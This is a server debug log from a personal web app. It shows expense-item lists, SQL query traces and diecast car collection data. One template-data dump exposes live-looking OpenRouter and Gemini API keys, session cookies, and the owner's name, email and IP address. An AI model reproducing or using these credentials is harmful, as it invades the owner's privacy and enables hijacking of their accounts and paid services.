  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-27T12:52:23.023Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-27T12:52:23.024Z server-connect:app Executing action step identify
2026-02-27T12:52:23.024Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:23.024Z server-connect:output identity: 1
2026-02-27T12:52:23.024Z server-connect:app Executing action step restrict
2026-02-27T12:52:23.024Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:23.024Z server-connect:output restrict: undefined
2026-02-27T12:52:23.024Z server-connect:app Executing action step single
2026-02-27T12:52:23.024Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-27T12:52:23.025Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-27T12:52:50.124Z server-connect:router Serving templateView /diecast
2026-02-27T12:52:50.125Z server-connect:app Executing action step identify
2026-02-27T12:52:50.125Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.125Z server-connect:output identity: 1
2026-02-27T12:52:50.125Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.125Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:52:50.126Z server-connect:output restrict: undefined
2026-02-27T12:52:50.126Z server-connect:router Render template diecast
2026-02-27T12:52:50.126Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-28T12:50:52.421Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-27T12:52:50.759Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:52:50.760Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:52:50.760Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-27T12:52:50.761Z server-connect:app Executing action step identify
2026-02-27T12:52:50.761Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.761Z server-connect:output identity: 1
2026-02-27T12:52:50.761Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.761Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:50.763Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:52:50.763Z server-connect:app Executing action step identify
2026-02-27T12:52:50.763Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.763Z server-connect:output identity: 1
2026-02-27T12:52:50.763Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.763Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:50.764Z server-connect:output restrict: undefined
2026-02-27T12:52:50.764Z server-connect:app Executing action step select
2026-02-27T12:52:50.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:52:50.765Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-27T12:52:50.765Z server-connect:app Executing action step identify
2026-02-27T12:52:50.765Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.765Z server-connect:output identity: 1
2026-02-27T12:52:50.765Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.765Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:50.766Z server-connect:output restrict: undefined
2026-02-27T12:52:50.766Z server-connect:app Executing action step select
2026-02-27T12:52:50.766Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:52:50.766Z server-connect:app Executing action step identify
2026-02-27T12:52:50.766Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.766Z server-connect:output identity: 1
2026-02-27T12:52:50.766Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:50.767Z server-connect:output restrict: undefined
2026-02-27T12:52:50.767Z server-connect:app Executing action step paged
2026-02-27T12:52:50.767Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-27T12:52:50.770Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-27T12:52:50.771Z server-connect:app Executing action step identify
2026-02-27T12:52:50.771Z server-connect:app options: { provider: 'security' }
2026-02-27T12:52:50.771Z server-connect:output identity: 1
2026-02-27T12:52:50.771Z server-connect:app Executing action step restrict
2026-02-27T12:52:50.771Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:52:50.773Z server-connect:output restrict: undefined
2026-02-27T12:52:50.773Z server-connect:app Executing action step select
2026-02-27T12:52:50.773Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:52:50.774Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-27T12:52:50.778Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-27T12:52:50.779Z server-connect:output restrict: undefined
2026-02-27T12:52:50.779Z server-connect:app Executing action step select
2026-02-27T12:52:50.779Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:52:50.786Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-27T12:52:50.786Z server-connect:app Executing action step select
2026-02-27T12:52:50.786Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-27T12:52:50.788Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
